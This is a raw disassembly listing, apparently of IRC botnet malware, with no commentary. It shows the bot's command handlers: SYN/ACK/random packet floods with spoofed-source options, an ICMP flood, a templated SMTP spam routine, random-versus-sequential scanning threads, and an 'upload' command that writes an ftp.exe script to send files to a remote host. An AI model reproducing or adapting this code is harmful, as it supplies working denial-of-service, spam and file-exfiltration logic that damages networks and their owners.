		call	sub_41BEB0
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	[ebp+esi+var_7C]
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C
		push	esi
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42B0D4


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+arg_24]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42B048
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset word_413E36
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset unk_42AFD8


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42AF90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset byte_413285
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42AF04
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AECC


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AE98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42AE1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset byte_413411
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		call	near ptr 26709D6h
		nop
		push	eax
		push	offset unk_42ADE4


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ADA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		call	near ptr 268083Ah
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset unk_42ACDC


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AC0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+arg_10]
		call	sub_40AAFA
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AB84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset word_40C75A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2660E9Fh
		nop
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		nop
		call	near ptr 26709D6h
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A73
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
